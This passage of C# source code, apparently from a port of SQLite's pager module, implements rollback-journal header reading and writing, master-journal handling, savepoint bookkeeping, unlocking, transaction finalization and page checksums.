name in the journal is longer than nMaster bytes (including a\n    ** nul-terminator), then this is handled as if no master journal name\n    ** were present in the journal.\n    **\n    ** If a master journal file name is present at the end of the journal\n    ** file, then it is copied into the buffer pointed to by zMaster. A\n    ** nul-terminator byte is appended to the buffer following the master\n    ** journal file name.\n    **\n    ** If it is determined that no master journal file name is present\n    ** zMaster[0] is set to 0 and SQLITE_OK returned.\n    **\n    ** If an error occurs while reading from the journal file, an SQLite\n    ** error code is returned.\n    */\n        static int readMasterJournal(sqlite3_file pJrnl, byte[] zMaster, u32 nMaster)\n        {\n            int rc;                       /* Return code */\n            int len = 0;                  /* Length in bytes of master journal name */\n            int szJ = 0;                  /* Total size in bytes of journal file pJrnl */\n            int cksum = 0;                /* MJ checksum value read from journal */\n            int u;                        /* Unsigned loop counter */\n            byte[] aMagic = new byte[8];  /* A buffer to hold the magic header */\n\n            zMaster[0] = 0;\n\n            if (SQLITE_OK != (rc = sqlite3OsFileSize(pJrnl, ref szJ))\n            || szJ < 16\n            || SQLITE_OK != (rc = read32bits(pJrnl, szJ - 16, ref len))\n            || len >= nMaster\n            || SQLITE_OK != (rc = read32bits(pJrnl, szJ - 12, ref cksum))\n            || SQLITE_OK != (rc = sqlite3OsRead(pJrnl, aMagic, 8, szJ - 8))\n            || memcmp(aMagic, aJournalMagic, 8) != 0\n            || SQLITE_OK != (rc = sqlite3OsRead(pJrnl, zMaster, len, szJ - 16 - len))\n            )\n            {\n                return rc;\n            }\n\n            /* See if the checksum matches the master journal name */\n            for (u = 0; u < len; u++)\n            {\n                cksum -= zMaster[u];\n            }\n            if (cksum != 0)\n            {\n                /* If the checksum doesn't add up, then one or more of the disk sectors\n                ** containing the master journal filename is corrupted. This means\n                ** definitely roll back, so just return SQLITE_OK and report a (nul)\n                ** master-journal filename.\n                */\n                len = 0;\n            }\n            if (len == 0) zMaster[0] = 0;\n\n            return SQLITE_OK;\n        }\n\n        /*\n        ** Return the offset of the sector boundary at or immediately\n        ** following the value in pPager.journalOff, assuming a sector\n        ** size of pPager.sectorSize bytes.\n        **\n        ** i.e for a sector size of 512:\n        **\n        **   Pager.journalOff          Return value\n        **   ---------------------------------------\n        **   0                         0\n        **   512                       512\n        **   100                       512\n        **   2000                      2048\n        **\n        */\n        static i64 journalHdrOffset(Pager pPager)\n        {\n            i64 offset = 0;\n            i64 c = pPager.journalOff;\n            if (c != 0)\n            {\n                offset = (int)(((c - 1) / pPager.sectorSize + 1) * pPager.sectorSize);//offset = ((c-1)/JOURNAL_HDR_SZ(pPager) + 1) * JOURNAL_HDR_SZ(pPager);\n            }\n            Debug.Assert(offset % pPager.sectorSize == 0); //Debug.Assert(offset % JOURNAL_HDR_SZ(pPager) == 0);\n            Debug.Assert(offset >= c);\n            Debug.Assert((offset - c) < pPager.sectorSize);//Debug.Assert( (offset-c)<JOURNAL_HDR_SZ(pPager) );\n            return offset;\n        }\n        static void seekJournalHdr(Pager pPager)\n        {\n            pPager.journalOff = journalHdrOffset(pPager);\n        }\n\n        /*\n        ** The journal file must be open when this function is called.\n        **\n        ** This function is a no-op if the journal file has not been written to\n        ** within the current transaction (i.e. if Pager.journalOff==0).\n        **\n        ** If doTruncate is non-zero or the Pager.journalSizeLimit variable is\n        ** set to 0, then truncate the journal file to zero bytes in size. Otherwise,\n        ** zero the 28-byte header at the start of the journal file. In either case,\n        ** if the pager is not in no-sync mode, sync the journal file immediately\n        ** after writing or truncating it.\n        **\n        ** If Pager.journalSizeLimit is set to a positive, non-zero value, and\n        ** following the truncation or zeroing described above the size of the\n        ** journal file in bytes is larger than this value, then truncate the\n        ** journal file to Pager.journalSizeLimit bytes. The journal file does\n        ** not need to be synced following this operation.\n        **\n        ** If an IO error occurs, abandon processing and return the IO error code.\n        ** Otherwise, return SQLITE_OK.\n        */\n        static int zeroJournalHdr(Pager pPager, int doTruncate)\n        {\n            int rc = SQLITE_OK;                               /* Return code */\n            Debug.Assert(isOpen(pPager.jfd));\n\n            if (pPager.journalOff != 0)\n            {\n                i64 iLimit = pPager.journalSizeLimit;           /* Local cache of jsl */\n                IOTRACE(\"JZEROHDR %p\\n\", pPager);\n                if (doTruncate != 0 || iLimit == 0)\n                {\n                    rc = sqlite3OsTruncate(pPager.jfd, 0);\n                }\n                else\n                {\n                    byte[] zeroHdr = new byte[28];// = {0};\n                    rc = sqlite3OsWrite(pPager.jfd, zeroHdr, zeroHdr.Length, 0);\n                }\n                if (rc == SQLITE_OK && !pPager.noSync)\n                {\n                    rc = sqlite3OsSync(pPager.jfd, SQLITE_SYNC_DATAONLY | pPager.sync_flags);\n                }\n\n                /* At this point the transaction is committed but the write lock\n                ** is still held on the file. If there is a size limit configured for\n                ** the persistent journal and the journal file currently consumes more\n                ** space than that limit allows for, truncate it now. There is no need\n                ** to sync the file following this operation.\n                */\n                if (rc == SQLITE_OK && iLimit > 0)\n                {\n                    int sz = 0;\n                    rc = sqlite3OsFileSize(pPager.jfd, ref sz);\n                    if (rc == SQLITE_OK && sz > iLimit)\n                    {\n                        rc = sqlite3OsTruncate(pPager.jfd, (int)iLimit);\n                    }\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** The journal file must be open when this routine is called. A journal\n        ** header (JOURNAL_HDR_SZ bytes) is written into the journal file at the\n        ** current location.\n        **\n        ** The format for the journal header is as follows:\n        ** - 8 bytes: Magic identifying journal format.\n        ** - 4 bytes: Number of records in journal, or -1 no-sync mode is on.\n        ** - 4 bytes: Random number used for page hash.\n        ** - 4 bytes: Initial database page count.\n        ** - 4 bytes: Sector size used by the process that wrote this journal.\n        ** - 4 bytes: Database page size.\n        **\n        ** Followed by (JOURNAL_HDR_SZ - 28) bytes of unused space.\n        */\n        static int writeJournalHdr(Pager pPager)\n        {\n\n            int rc = SQLITE_OK;                 /* Return code */\n            byte[] zHeader = pPager.pTmpSpace;  /* Temporary space used to build header */\n            u32 nHeader = (u32)pPager.pageSize; /* Size of buffer pointed to by zHeader */\n            u32 nWrite;                         /* Bytes of header sector written */\n            int ii;                             /* Loop counter */\n\n            Debug.Assert(isOpen(pPager.jfd));      /* Journal file must be open. */\n\n            if (nHeader > JOURNAL_HDR_SZ(pPager))\n            {\n                nHeader = JOURNAL_HDR_SZ(pPager);\n            }\n            /* If there are active savepoints and any of them were created\n            ** since the most recent journal header was written, update the\n            ** PagerSavepoint.iHdrOffset fields now.\n            */\n            for (ii = 0; ii < pPager.nSavepoint; ii++)\n            {\n                if (pPager.aSavepoint[ii].iHdrOffset == 0)\n                {\n                    pPager.aSavepoint[ii].iHdrOffset = pPager.journalOff;\n                }\n            }\n            pPager.journalHdr = pPager.journalOff = journalHdrOffset(pPager);\n\n            /*\n            ** Write the nRec Field - the number of page records that follow this\n            ** journal header. Normally, zero is written to this value at this time.\n            ** After the records are added to the journal (and the journal synced,\n            ** if in full-sync mode), the zero is overwritten with the true number\n            ** of records (see syncJournal()).\n            **\n            ** A faster alternative is to write 0xFFFFFFFF to the nRec field. When\n            ** reading the journal this value tells SQLite to assume that the\n            ** rest of the journal file contains valid page records. This assumption\n            ** is dangerous, as if a failure occurred whilst writing to the journal\n            ** file it may contain some garbage data. There are two scenarios\n            ** where this risk can be ignored:\n            **\n            **   * When the pager is in no-sync mode. Corruption can follow a\n            **     power failure in this case anyway.\n            **\n            **   * When the SQLITE_IOCAP_SAFE_APPEND flag is set. This guarantees\n            **     that garbage data is never appended to the journal file.\n            */\n            Debug.Assert(isOpen(pPager.fd) || pPager.noSync);\n            if ((pPager.noSync) || (pPager.journalMode == PAGER_JOURNALMODE_MEMORY)\n            || (sqlite3OsDeviceCharacteristics(pPager.fd) & SQLITE_IOCAP_SAFE_APPEND) != 0\n            )\n            {\n                aJournalMagic.CopyTo(zHeader, 0);// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic));\n                put32bits(zHeader, aJournalMagic.Length, 0xffffffff);\n            }\n            else\n            {\n                zHeader[0] = 0;\n                put32bits(zHeader, aJournalMagic.Length, 0);\n            }\n\n            /* The random check-hash initialiser */\n            i64 i64Temp = 0;\n            sqlite3_randomness(sizeof(i64), ref i64Temp);\n            pPager.cksumInit = (u32)i64Temp;\n            put32bits(zHeader, aJournalMagic.Length + 4, pPager.cksumInit);\n            /* The initial database size */\n            put32bits(zHeader, aJournalMagic.Length + 8, pPager.dbOrigSize);\n            /* The assumed sector size for this process */\n            put32bits(zHeader, aJournalMagic.Length + 12, pPager.sectorSize);\n            /* The page size */\n            put32bits(zHeader, aJournalMagic.Length + 16, (u32)pPager.pageSize);\n\n            /* Initializing the tail of the buffer is not necessary.  Everything\n            ** works find if the following memset() is omitted.  But initializing\n            ** the memory prevents valgrind from complaining, so we are willing to\n            ** take the performance hit.\n            */\n            //  memset(&zHeader[sizeof(aJournalMagic)+20], 0,\n            //  nHeader-(sizeof(aJournalMagic)+20));\n            Array.Clear(zHeader, aJournalMagic.Length + 20, (int)nHeader - (aJournalMagic.Length + 20));\n\n            /* In theory, it is only necessary to write the 28 bytes that the\n            ** journal header consumes to the journal file here. Then increment the\n            ** Pager.journalOff variable by JOURNAL_HDR_SZ so that the next\n            ** record is written to the following sector (leaving a gap in the file\n            ** that will be implicitly filled in by the OS).\n            **\n            ** However it has been discovered that on some systems this pattern can\n            ** be significantly slower than contiguously writing data to the file,\n            ** even if that means explicitly writing data to the block of\n            ** (JOURNAL_HDR_SZ - 28) bytes that will not be used. So that is what\n            ** is done.\n            **\n            ** The loop is required here in case the sector-size is larger than the\n            ** database page size. Since the zHeader buffer is only Pager.pageSize\n            ** bytes in size, more than one call to sqlite3OsWrite() may be required\n            ** to populate the entire journal header sector.\n            */\n            for (nWrite = 0; rc == SQLITE_OK && nWrite < JOURNAL_HDR_SZ(pPager); nWrite += nHeader)\n            {\n                IOTRACE(\"JHDR %p %lld %d\\n\", pPager, pPager.journalHdr, nHeader);\n                rc = sqlite3OsWrite(pPager.jfd, zHeader, (int)nHeader, pPager.journalOff);\n                pPager.journalOff += (int)nHeader;\n            }\n            return rc;\n        }\n\n        /*\n        ** The journal file must be open when this is called. A journal header file\n        ** (JOURNAL_HDR_SZ bytes) is read from the current location in the journal\n        ** file. The current location in the journal file is given by\n        ** pPager.journalOff. See comments above function writeJournalHdr() for\n        ** a description of the journal header format.\n        **\n        ** If the header is read successfully, *pNRec is set to the number of\n        ** page records following this header and *pDbSize is set to the size of the\n        ** database before the transaction began, in pages. Also, pPager.cksumInit\n        ** is set to the value read from the journal header. SQLITE_OK is returned\n        ** in this case.\n        **\n        ** If the journal header file appears to be corrupted, SQLITE_DONE is\n        ** returned and *pNRec and *PDbSize are undefined.  If JOURNAL_HDR_SZ bytes\n        ** cannot be read from the journal file an error code is returned.\n        */\n        static int readJournalHdr(\n        Pager pPager,               /* Pager object */\n        int isHot,\n        i64 journalSize,            /* Size of the open journal file in bytes */\n        ref u32 pNRec,              /* OUT: Value read from the nRec field */\n        ref u32 pDbSize             /* OUT: Value of original database size field */\n        )\n        {\n            int rc;                      /* Return code */\n            byte[] aMagic = new byte[8]; /* A buffer to hold the magic header */\n            i64 iHdrOff;                 /* Offset of journal header being read */\n\n            Debug.Assert(isOpen(pPager.jfd));      /* Journal file must be open. */\n\n            /* Advance Pager.journalOff to the start of the next sector. If the\n            ** journal file is too small for there to be a header stored at this\n            ** point, return SQLITE_DONE.\n            */\n            pPager.journalOff = journalHdrOffset(pPager);\n            if (pPager.journalOff + JOURNAL_HDR_SZ(pPager) > journalSize)\n            {\n                return SQLITE_DONE;\n            }\n            iHdrOff = pPager.journalOff;\n\n            /* Read in the first 8 bytes of the journal header. If they do not match\n            ** the  magic string found at the start of each journal header, return\n            ** SQLITE_DONE. If an IO error occurs, return an error code. Otherwise,\n            ** proceed.\n            */\n            if (isHot != 0 || iHdrOff != pPager.journalHdr)\n            {\n                rc = sqlite3OsRead(pPager.jfd, aMagic, aMagic.Length, iHdrOff);\n                if (rc != 0)\n                {\n                    return rc;\n                }\n                if (memcmp(aMagic, aJournalMagic, aMagic.Length) != 0)\n                {\n                    return SQLITE_DONE;\n                }\n            }\n            /* Read the first three 32-bit fields of the journal header: The nRec\n            ** field, the checksum-initializer and the database size at the start\n            ** of the transaction. Return an error code if anything goes wrong.\n            */\n            if (SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 8, ref pNRec))\n            || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 12, ref pPager.cksumInit))\n            || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 16, ref pDbSize))\n            )\n            {\n                return rc;\n            }\n\n            if (pPager.journalOff == 0)\n            {\n                u32 iPageSize = 0;           /* Page-size field of journal header */\n                u32 iSectorSize = 0;         /* Sector-size field of journal header */\n                u16 iPageSize16;             /* Copy of iPageSize in 16-bit variable */\n\n                /* Read the page-size and sector-size journal header fields. */\n                if (SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 20, ref iSectorSize))\n                || SQLITE_OK != (rc = read32bits(pPager.jfd, iHdrOff + 24, ref iPageSize))\n                )\n                {\n                    return rc;\n                }\n\n                /* Check that the values read from the page-size and sector-size fields\n                ** are within range. To be 'in range', both values need to be a power\n                ** of two greater than or equal to 512, and not greater than their\n                ** respective compile time maximum limits.\n                */\n                if (iPageSize < 512 || iSectorSize < 512\n                || iPageSize > SQLITE_MAX_PAGE_SIZE || iSectorSize > MAX_SECTOR_SIZE\n                || ((iPageSize - 1) & iPageSize) != 0 || ((iSectorSize - 1) & iSectorSize) != 0\n                )\n                {\n                    /* If the either the page-size or sector-size in the journal-header is\n                    ** invalid, then the process that wrote the journal-header must have\n                    ** crashed before the header was synced. In this case stop reading\n                    ** the journal file here.\n                    */\n                    return SQLITE_DONE;\n                }\n\n                /* Update the page-size to match the value read from the journal.\n                ** Use a testcase() macro to make sure that malloc failure within\n                ** PagerSetPagesize() is tested.\n                */\n                iPageSize16 = (u16)iPageSize;\n                rc = sqlite3PagerSetPagesize(pPager, ref iPageSize16, -1);\n                testcase(rc != SQLITE_OK);\n                Debug.Assert(rc != SQLITE_OK || iPageSize16 == (u16)iPageSize);\n\n                /* Update the assumed sector-size to match the value used by\n                ** the process that created this journal. If this journal was\n                ** created by a process other than this one, then this routine\n                ** is being called from within pager_playback(). The local value\n                ** of Pager.sectorSize is restored at the end of that routine.\n                */\n                pPager.sectorSize = iSectorSize;\n            }\n\n            pPager.journalOff += (int)JOURNAL_HDR_SZ(pPager);\n            return rc;\n        }\n\n        /*\n        ** Write the supplied master journal name into the journal file for pager\n        ** pPager at the current location. The master journal name must be the last\n        ** thing written to a journal file. If the pager is in full-sync mode, the\n        ** journal file descriptor is advanced to the next sector boundary before\n        ** anything is written. The format is:\n        **\n        **   + 4 bytes: PAGER_MJ_PGNO.\n        **   + N bytes: Master journal filename in utf-8.\n        **   + 4 bytes: N (length of master journal name in bytes, no nul-terminator).\n        **   + 4 bytes: Master journal name checksum.\n        **   + 8 bytes: aJournalMagic[].\n        **\n        ** The master journal page checksum is the sum of the bytes in the master\n        ** journal name, where each byte is interpreted as a signed 8-bit integer.\n        **\n        ** If zMaster is a NULL pointer (occurs for a single database transaction),\n        ** this call is a no-op.\n        */\n        static int writeMasterJournal(Pager pPager, string zMaster)\n        {\n            int rc;                          /* Return code */\n            int nMaster;                     /* Length of string zMaster */\n            i64 iHdrOff;                     /* Offset of header in journal file */\n            int jrnlSize = 0;                  /* Size of journal file on disk */\n            u32 cksum = 0;                   /* Checksum of string zMaster */\n\n            if (null == zMaster || pPager.setMaster != 0\n            || pPager.journalMode == PAGER_JOURNALMODE_MEMORY\n            || pPager.journalMode == PAGER_JOURNALMODE_OFF\n            )\n            {\n                return SQLITE_OK;\n            }\n\n            pPager.setMaster = 1;\n            Debug.Assert(isOpen(pPager.jfd));\n\n            /* Calculate the length in bytes and the checksum of zMaster */\n            for (nMaster = 0; nMaster < zMaster.Length && zMaster[nMaster] != 0; nMaster++)\n            {\n                cksum += zMaster[nMaster];\n            }\n\n            /* If in full-sync mode, advance to the next disk sector before writing\n            ** the master journal name. This is in case the previous page written to\n            ** the journal has already been synced.\n            */\n            if (pPager.fullSync)\n            {\n                pPager.journalOff = journalHdrOffset(pPager);\n            }\n            iHdrOff = pPager.journalOff;\n            /* Write the master journal data to the end of the journal file. If\n            ** an error occurs, return the error code to the caller.\n            */\n            if ((0 != (rc = write32bits(pPager.jfd, iHdrOff, (u32)PAGER_MJ_PGNO(pPager))))\n            || (0 != (rc = sqlite3OsWrite(pPager.jfd, Encoding.UTF8.GetBytes(zMaster), nMaster, iHdrOff + 4)))\n            || (0 != (rc = write32bits(pPager.jfd, iHdrOff + 4 + nMaster, (u32)nMaster)))\n            || (0 != (rc = write32bits(pPager.jfd, iHdrOff + 4 + nMaster + 4, cksum)))\n            || (0 != (rc = sqlite3OsWrite(pPager.jfd, aJournalMagic, 8, iHdrOff + 4 + nMaster + 8)))\n            )\n            {\n                return rc;\n            }\n            pPager.journalOff += (nMaster + 20);\n            pPager.needSync = !pPager.noSync;\n\n            /* If the pager is in peristent-journal mode, then the physical\n            ** journal-file may extend past the end of the master-journal name\n            ** and 8 bytes of magic data just written to the file. This is\n            ** dangerous because the code to rollback a hot-journal file\n            ** will not be able to find the master-journal name to determine\n            ** whether or not the journal is hot.\n            **\n            ** Easiest thing to do in this scenario is to truncate the journal\n            ** file to the required size.\n            */\n            if (SQLITE_OK == (rc = sqlite3OsFileSize(pPager.jfd, ref jrnlSize))\n            && jrnlSize > pPager.journalOff\n            )\n            {\n                rc = sqlite3OsTruncate(pPager.jfd, pPager.journalOff);\n            }\n\n            return rc;\n        }\n\n        /*\n        ** Find a page in the hash table given its page number. Return\n        ** a pointer to the page or NULL if the requested page is not\n        ** already in memory.\n        */\n        static PgHdr pager_lookup(Pager pPager, u32 pgno)\n        {\n            PgHdr p = null;                         /* Return value */\n            /* It is not possible for a call to PcacheFetch() with createFlag==0 to\n            ** fail, since no attempt to allocate dynamic memory will be made.\n            */\n            sqlite3PcacheFetch(pPager.pPCache, pgno, 0, ref p);\n            return p;\n        }\n\n        /*\n        ** Unless the pager is in error-state, discard all in-memory pages. If\n        ** the pager is in error-state, then this call is a no-op.\n        **\n        ** TODO: Why can we not reset the pager while in error state?\n        */\n        static void pager_reset(Pager pPager)\n        {\n            if (SQLITE_OK == pPager.errCode)\n            {\n                sqlite3BackupRestart(pPager.pBackup);\n                sqlite3PcacheClear(pPager.pPCache);\n                pPager.dbSizeValid = false;\n            }\n        }\n\n        /*\n        ** Free all structures in the Pager.aSavepoint[] array and set both\n        ** Pager.aSavepoint and Pager.nSavepoint to zero. Close the sub-journal\n        ** if it is open and the pager is not in exclusive mode.\n        */\n        static void releaseAllSavepoints(Pager pPager)\n        {\n            int ii;               /* Iterator for looping through Pager.aSavepoint */\n            for (ii = 0; ii < pPager.nSavepoint; ii++)\n            {\n                sqlite3BitvecDestroy(ref pPager.aSavepoint[ii].pInSavepoint);\n            }\n            if (!pPager.exclusiveMode || sqlite3IsMemJournal(pPager.sjfd))\n            {\n                sqlite3OsClose(pPager.sjfd);\n            }\n            //sqlite3_free( ref pPager.aSavepoint );\n            pPager.aSavepoint = null;\n            pPager.nSavepoint = 0;\n            pPager.nSubRec = 0;\n        }\n\n        /*\n        ** Set the bit number pgno in the PagerSavepoint.pInSavepoint\n        ** bitvecs of all open savepoints. Return SQLITE_OK if successful\n        ** or SQLITE_NOMEM if a malloc failure occurs.\n        */\n        static int addToSavepointBitvecs(Pager pPager, u32 pgno)\n        {\n            int ii;                   /* Loop counter */\n            int rc = SQLITE_OK;       /* Result code */\n\n            for (ii = 0; ii < pPager.nSavepoint; ii++)\n            {\n                PagerSavepoint p = pPager.aSavepoint[ii];\n                if (pgno <= p.nOrig)\n                {\n                    rc |= sqlite3BitvecSet(p.pInSavepoint, pgno);\n                    testcase(rc == SQLITE_NOMEM);\n                    Debug.Assert(rc == SQLITE_OK || rc == SQLITE_NOMEM);\n                }\n            }\n            return rc;\n        }\n\n        /*\n        ** Unlock the database file. This function is a no-op if the pager\n        ** is in exclusive mode.\n        **\n        ** If the pager is currently in error state, discard the contents of\n        ** the cache and reset the Pager structure internal state. If there is\n        ** an open journal-file, then the next time a shared-lock is obtained\n        ** on the pager file (by this or any other process), it will be\n        ** treated as a hot-journal and rolled back.\n        */\n        static void pager_unlock(Pager pPager)\n        {\n            if (!pPager.exclusiveMode)\n            {\n                int rc;                      /* Return code */\n\n                /* Always close the journal file when dropping the database lock.\n                ** Otherwise, another connection with journal_mode=delete might\n                ** delete the file out from under us.\n                */\n                sqlite3OsClose(pPager.jfd);\n                sqlite3BitvecDestroy(ref pPager.pInJournal);\n                pPager.pInJournal = null;\n                releaseAllSavepoints(pPager);\n\n                /* If the file is unlocked, somebody else might change it. The\n                ** values stored in Pager.dbSize etc. might become invalid if\n                ** this happens. TODO: Really, this doesn't need to be cleared\n                ** until the change-counter check fails in PagerSharedLock().\n                */\n                pPager.dbSizeValid = false;\n                rc = osUnlock(pPager.fd, NO_LOCK);\n                if (rc != 0)\n                {\n                    pPager.errCode = rc;\n                }\n                IOTRACE(\"UNLOCK %p\\n\", pPager);\n                /* If Pager.errCode is set, the contents of the pager cache cannot be\n                ** trusted. Now that the pager file is unlocked, the contents of the\n                ** cache can be discarded and the error code safely cleared.\n                */\n                if (pPager.errCode != 0)\n                {\n                    if (rc == SQLITE_OK)\n                    {\n                        pPager.errCode = SQLITE_OK;\n                    }\n                    pager_reset(pPager);\n                }\n\n                pPager.changeCountDone = false;\n                pPager.state = PAGER_UNLOCK;\n            }\n        }\n\n        /*\n        ** This function should be called when an IOERR, CORRUPT or FULL error\n        ** may have occurred. The first argument is a pointer to the pager\n        ** structure, the second the error-code about to be returned by a pager\n        ** API function. The value returned is a copy of the second argument\n        ** to this function.\n        **\n        ** If the second argument is SQLITE_IOERR, SQLITE_CORRUPT, or SQLITE_FULL\n        ** the error becomes persistent. Until the persisten error is cleared,\n        ** subsequent API calls on this Pager will immediately return the same\n        ** error code.\n        **\n        ** A persistent error indicates that the contents of the pager-cache\n        ** cannot be trusted. This state can be cleared by completely discarding\n        ** the contents of the pager-cache. If a transaction was active when\n        ** the persistent error occurred, then the rollback journal may need\n        ** to be replayed to restore the contents of the database file (as if\n        ** it were a hot-journal).\n        */\n        static int pager_error(Pager pPager, int rc)\n        {\n            int rc2 = rc & 0xff;\n            Debug.Assert(rc == SQLITE_OK ||\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n );\n            Debug.Assert(\n            pPager.errCode == SQLITE_FULL ||\n            pPager.errCode == SQLITE_OK ||\n            (pPager.errCode & 0xff) == SQLITE_IOERR\n            );\n            if (\n            rc2 == SQLITE_FULL || rc2 == SQLITE_IOERR)\n            {\n                pPager.errCode = rc;\n            }\n            return rc;\n        }\n\n        /*\n        ** Execute a rollback if a transaction is active and unlock the\n        ** database file.\n        **\n        ** If the pager has already entered the error state, do not attempt\n        ** the rollback at this time. Instead, pager_unlock() is called. The\n        ** call to pager_unlock() will discard all in-memory pages, unlock\n        ** the database file and clear the error state. If this means that\n        ** there is a hot-journal left in the file-system, the next connection\n        ** to obtain a shared lock on the pager (which may be this one) will\n        ** roll it back.\n        **\n        ** If the pager has not already entered the error state, but an IO or\n        ** malloc error occurs during a rollback, then this will itself cause\n        ** the pager to enter the error state. Which will be cleared by the\n        ** call to pager_unlock(), as described above.\n        */\n        static void pagerUnlockAndRollback(Pager pPager)\n        {\n            if (pPager.errCode == SQLITE_OK && pPager.state >= PAGER_RESERVED)\n            {\n                sqlite3BeginBenignMalloc();\n                sqlite3PagerRollback(pPager);\n                sqlite3EndBenignMalloc();\n            }\n            pager_unlock(pPager);\n        }\n\n        /*\n        ** This routine ends a transaction. A transaction is usually ended by\n        ** either a COMMIT or a ROLLBACK operation. This routine may be called\n        ** after rollback of a hot-journal, or if an error occurs while opening\n        ** the journal file or writing the very first journal-header of a\n        ** database transaction.\n        **\n        ** If the pager is in PAGER_SHARED or PAGER_UNLOCK state when this\n        ** routine is called, it is a no-op (returns SQLITE_OK).\n        **\n        ** Otherwise, any active savepoints are released.\n        **\n        ** If the journal file is open, then it is \"finalized\". Once a journal\n        ** file has been finalized it is not possible to use it to roll back a\n        ** transaction. Nor will it be considered to be a hot-journal by this\n        ** or any other database connection. Exactly how a journal is finalized\n        ** depends on whether or not the pager is running in exclusive mode and\n        ** the current journal-mode (Pager.journalMode value), as follows:\n        **\n        **   journalMode==MEMORY\n        **     Journal file descriptor is simply closed. This destroys an\n        **     in-memory journal.\n        **\n        **   journalMode==TRUNCATE\n        **     Journal file is truncated to zero bytes in size.\n        **\n        **   journalMode==PERSIST\n        **     The first 28 bytes of the journal file are zeroed. This invalidates\n        **     the first journal header in the file, and hence the entire journal\n        **     file. An invalid journal file cannot be rolled back.\n        **\n        **   journalMode==DELETE\n        **     The journal file is closed and deleted using sqlite3OsDelete().\n        **\n        **     If the pager is running in exclusive mode, this method of finalizing\n        **     the journal file is never used. Instead, if the journalMode is\n        **     DELETE and the pager is in exclusive mode, the method described under\n        **     journalMode==PERSIST is used instead.\n        **\n        ** After the journal is finalized, if running in non-exclusive mode, the\n        ** pager moves to PAGER_SHARED state (and downgrades the lock on the\n        ** database file accordingly).\n        **\n        ** If the pager is running in exclusive mode and is in PAGER_SYNCED state,\n        ** it moves to PAGER_EXCLUSIVE. No locks are downgraded when running in\n        ** exclusive mode.\n        **\n        ** SQLITE_OK is returned if no error occurs. If an error occurs during\n        ** any of the IO operations to finalize the journal file or unlock the\n        ** database then the IO error code is returned to the user. If the\n        ** operation to finalize the journal file fails, then the code still\n        ** tries to unlock the database file if not in exclusive mode. If the\n        ** unlock operation fails as well, then the first error code related\n        ** to the first error encountered (the journal finalization one) is\n        ** returned.\n        */\n        static int pager_end_transaction(Pager pPager, int hasMaster)\n        {\n            int rc = SQLITE_OK;     /* Error code from journal finalization operation */\n            int rc2 = SQLITE_OK;    /* Error code from db file unlock operation */\n            if (pPager.state < PAGER_RESERVED)\n            {\n                return SQLITE_OK;\n            }\n            releaseAllSavepoints(pPager);\n            Debug.Assert(isOpen(pPager.jfd) || pPager.pInJournal == null);\n            if (isOpen(pPager.jfd))\n            {\n\n                /* Finalize the journal file. */\n                if (sqlite3IsMemJournal(pPager.jfd))\n                {\n                    Debug.Assert(pPager.journalMode == PAGER_JOURNALMODE_MEMORY);\n                    sqlite3OsClose(pPager.jfd);\n                }\n                else if (pPager.journalMode == PAGER_JOURNALMODE_TRUNCATE)\n                {\n                    if (pPager.journalOff == 0)\n                    {\n                        rc = SQLITE_OK;\n                    }\n                    else\n                    {\n                        rc = sqlite3OsTruncate(pPager.jfd, 0);\n                    }\n                    pPager.journalOff = 0;\n                    pPager.journalStarted = false;\n                }\n                else if (pPager.exclusiveMode\n                || pPager.journalMode == PAGER_JOURNALMODE_PERSIST\n                )\n                {\n                    rc = zeroJournalHdr(pPager, hasMaster);\n                    pager_error(pPager, rc);\n                    pPager.journalOff = 0;\n                    pPager.journalStarted = false;\n                }\n                else\n                {\n                    /* This branch may be executed with Pager.journalMode==MEMORY if\n                    ** a hot-journal was just rolled back. In this case the journal\n                    ** file should be closed and deleted. If this connection writes to\n                    ** the database file, it will do so using an in-memory journal.  */\n                    Debug.Assert(pPager.journalMode == PAGER_JOURNALMODE_DELETE\n                         || pPager.journalMode == PAGER_JOURNALMODE_MEMORY\n                    );\n                    sqlite3OsClose(pPager.jfd);\n                    if (!pPager.tempFile)\n                    {\n                        rc = sqlite3OsDelete(pPager.pVfs, pPager.zJournal, 0);\n                    }\n                }\n#if SQLITE_CHECK_PAGES\nsqlite3PcacheIterateDirty(pPager.pPCache, pager_set_pagehash);\n#endif\n                sqlite3PcacheCleanAll(pPager.pPCache);\n\n                sqlite3BitvecDestroy(ref pPager.pInJournal);\n                pPager.pInJournal = null;\n                pPager.nRec = 0;\n            }\n\n            if (!pPager.exclusiveMode)\n            {\n                rc2 = osUnlock(pPager.fd, SHARED_LOCK);\n                pPager.state = PAGER_SHARED;\n                pPager.changeCountDone = false;\n            }\n            else if (pPager.state == PAGER_SYNCED)\n            {\n                pPager.state = PAGER_EXCLUSIVE;\n            }\n            pPager.setMaster = 0;\n            pPager.needSync = false;\n            pPager.dbModified = false;\n\n            /* TODO: Is this optimal? Why is the db size invalidated here\n            ** when the database file is not unlocked? */\n            pPager.dbOrigSize = 0;\n            sqlite3PcacheTruncate(pPager.pPCache, pPager.dbSize);\n            if (\n#if SQLITE_OMIT_MEMORYDB\n0==MEMDB\n#else\n 0 == pPager.memDb\n#endif\n )\n            {\n                pPager.dbSizeValid = false;\n            }\n            return (rc == SQLITE_OK ? rc2 : rc);\n        }\n\n        /*\n        ** Parameter aData must point to a buffer of pPager.pageSize bytes\n        ** of data. Compute and return a checksum based ont the contents of the\n        ** page of data and the current value of pPager.cksumInit.\n        **\n        ** This is not a real checksum. It is really just the sum of the\n        ** random initial value (pPager.cksumInit) and every 200th byte\n        ** of the page data, starting with byte offset (pPager.pageSize%200).\n        ** Each byte is interpreted as an 8-bit unsigned integer.\n        **\n        ** Changing the formula used to compute this checksum results in an\n        ** incompatible journal file format.\n        **\n        ** If journal corruption occurs due to a power failure, the most likely\n        ** scenario is that one end or the other of the record will be changed.\n        ** It is much less likely that the two ends of the journal record will be\n        ** correct and the middle be corrupt.  Thus, this \"checksum\" scheme,\n        ** though fast and simple, catches the mostly likely kind of corruption.\n        */\n        static u32 pager_cksum(Pager pPager, byte[] aData)\n        {\n            u32 cksum = pPager.cksumInit;         /* Checksum value to return */\n            int i = pPager.pageSize - 200;        /* Loop counter */\n            while (i > 0)\n            {\n                cksum += aData[i];\n                i -= 200;\n            }\n            return cksum;\n        